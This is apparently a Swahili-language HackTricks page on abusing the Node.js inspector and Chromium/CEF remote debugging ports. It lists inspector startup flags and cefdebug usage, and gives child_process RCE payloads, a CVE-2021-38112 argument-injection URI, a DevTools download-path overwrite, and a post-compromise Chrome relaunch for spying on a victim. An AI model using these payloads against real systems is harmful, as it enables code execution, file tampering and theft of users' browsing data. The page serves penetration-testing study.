Node inspector/CEF debug abuse

Jifunze AWS kudukua kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Kutoka kwa nyaraka: Wakati inapoanzishwa na kubadilisha --inspect, mchakato wa Node.js unasikiliza mteja wa kudukua. Kwa default, itasikiliza kwenye mwenyeji na bandari 127.0.0.1:9229. Kila mchakato pia hupewa UUID ya kipekee.

Wateja wa Inspector lazima wajue na kutaja anwani ya mwenyeji, bandari, na UUID kuunganisha. URL kamili itaonekana kama ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e.

Kwa kuwa kudukua kuna ufikiaji kamili wa mazingira ya utekelezaji wa Node.js, mwigizaji mwenye nia mbaya anayeweza kuunganisha kwenye bandari hii anaweza kutekeleza nambari ya kupindukia kwa niaba ya mchakato wa Node.js (kuongezeka kwa mamlaka ya upeo).

Kuna njia kadhaa za kuanzisha inspector:

node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444
node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
# --inspect-brk is equivalent to --inspect

node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector

Unapoanza mchakato uliochunguzwa kitu kama hiki kitatokea:

Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector

Mchakato unaotegemea CEF (Chromium Embedded Framework) kama unahitaji kutumia param: --remote-debugging-port=9222 ili kufungua debugger (ulinzi wa SSRF unabaki sawa sana). Hata hivyo, badala yake ya kutoa kikao cha debug cha NodeJS kitawasiliana na kivinjari kutumia Chrome DevTools Protocol, hii ni kiolesura cha kudhibiti kivinjari, lakini hakuna RCE moja kwa moja.

Unapoanzisha kivinjari kilichodhibitishwa kama hiki kitatokea:

DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369

Vivinjari, WebSockets na sera ya asili

Tovuti zilizofunguliwa kwenye kivinjari cha wavuti zinaweza kufanya ombi la WebSocket na HTTP chini ya mfano wa usalama wa kivinjari. Unganisho wa kwanza wa HTTP ni muhimu kwa kupata kitambulisho cha kikao cha debugger. Sera sawa na asili inazuia tovuti kutoka kufanya unganisho hili la HTTP. Kwa usalama zaidi dhidi ya mashambulizi ya kurejelea DNS, Node.js inathibitisha kuwa vichwa vya 'Host' kwa uhusiano vinabainisha anwani ya IP au localhost au localhost6 kwa usahihi.

Hatua hizi za usalama zinazuia kutumia inspector kutekeleza nambari kwa kutuma tu ombi la HTTP (ambalo lingeweza kufanywa kwa kutumia udhaifu wa SSRF).

Kuanza inspector katika michakato inayoendelea

Unaweza kutuma ishara SIGUSR1 kwa mchakato wa nodejs unaofanya kazi ili kufanya ianze inspector kwenye bandari ya msingi. Walakini, kumbuka kuwa unahitaji mamlaka za kutosha, hivyo hii inaweza kukupatia upatikanaji wa mamlaka kwa habari ndani ya mchakato lakini sio ukuaji wa moja kwa moja wa mamlaka.

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

Hii ni muhimu katika vyombo kwa sababu kuzima mchakato na kuanzisha mpya na --inspect sio chaguo kwa sababu kontena itauawa na mchakato.

Unganisha kwa mkaguzi/mchunguzi

Kuunganisha kwa kivinjari kinachotegemea Chromium, URL za chrome://inspect au edge://inspect zinaweza kufikiwa kwa Chrome au Edge, mtawalia. Kwa kubonyeza kitufe cha Configure, ni lazima kuhakikisha kuwa mwenyeji na bandari ya lengo zimeorodheshwa kwa usahihi. Picha inaonyesha mfano wa Utekelezaji wa Kanuni kwa Mbali (RCE):

Kutumia mstari wa amri unaweza kuunganisha kwa mkaguzi/mchunguzi na:

node inspect <ip>:<port>
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")

The tool https://github.com/taviso/cefdebug, inaruhusu kupata wachunguzi wanaofanya kazi kwa ndani na kuingiza msimbo ndani yao.

#List possible vulnerable sockets
./cefdebug.exe
#Check if possibly vulnerable
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
#Exploit it
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"

Tafadhali kumbuka kwamba NodeJS RCE exploits haitafanya kazi ikiwa unahusishwa na kivinjari kupitia Chrome DevTools Protocol (unahitaji kuangalia API ili kupata vitu vya kuvutia vya kufanya nayo).

RCE katika NodeJS Debugger/Inspector

Ikiwa umekuja hapa ukitafuta jinsi ya kupata RCE kutoka kwa XSS katika Electron tafadhali angalia ukurasa huu.

Baadhi ya njia za kawaida za kupata RCE unapoweza kuhusisha kwenye Node inspector ni kutumia kitu kama hiki (inaonekana kwamba hii haitafanya kazi katika uhusiano na Chrome DevTools protocol):

process.mainModule.require('child_process').exec('calc')
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
require('child_process').spawnSync('calc.exe')
Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))

Malipo ya Itifaki ya Chrome DevTools

Unaweza kuangalia API hapa: https://chromedevtools.github.io/devtools-protocol/ Katika sehemu hii nitataja mambo ya kuvutia ambayo watu wamegundua wanaweza kutumia kudanganya itifaki hii.

Uingizaji wa Parameta kupitia Viungo vya Kina

Katika CVE-2021-38112 Rhino security iligundua kwamba programu iliyotegemea CEF iliandikisha URI ya desturi kwenye mfumo (workspaces://) ambayo ilipokea URI kamili na kisha kuzindua programu iliyotegemea CEF na usanidi uliokuwa sehemu iliyoundwa kutoka kwa URI hiyo.

Iligundulika kwamba parameta za URI zilikuwa zimefanyiwa URL decode na kutumika kuzindua programu ya msingi ya CEF, kuruhusu mtumiaji kudukua bendera --gpu-launcher kwenye mstari wa amri na kutekeleza mambo yoyote.

Hivyo, malipo kama:

workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE

Badilisha Faili

Badilisha folda ambapo faili zilizopakuliwa zitahifadhiwa na pakua faili ili kubadilisha mara kwa mara mikodisho ya chanzo ya programu na mikodisho yako ya uovu.

ws = new WebSocket(url); //URL of the chrome devtools service
ws.send(JSON.stringify({
id: 42069,
method: 'Browser.setDownloadBehavior',
params: {
behavior: 'allow',
downloadPath: '/code/'
}
}));

Uchomaji wa mbali wa Webdriver na utoaji wa data

Kulingana na chapisho hili: https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148 inawezekana kupata RCE na kutoa kurasa za ndani kutoka kwa dereva.

Baada ya Uvamizi

Katika mazingira halisi na baada ya kuvamia kompyuta ya mtumiaji inayotumia kivinjari kinachotegemea Chrome/Chromium unaweza kuzindua mchakato wa Chrome na kuwezesha uchunguzi na kuhamisha bandari ya uchunguzi ili uweze kufikia hiyo. Kwa njia hii utaweza kuchunguza kila kitu ambacho muathiriwa anafanya na Chrome na kuiba taarifa nyeti.

Njia ya kisiri ni kukomesha kila mchakato wa Chrome na kisha kuita kitu kama

Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated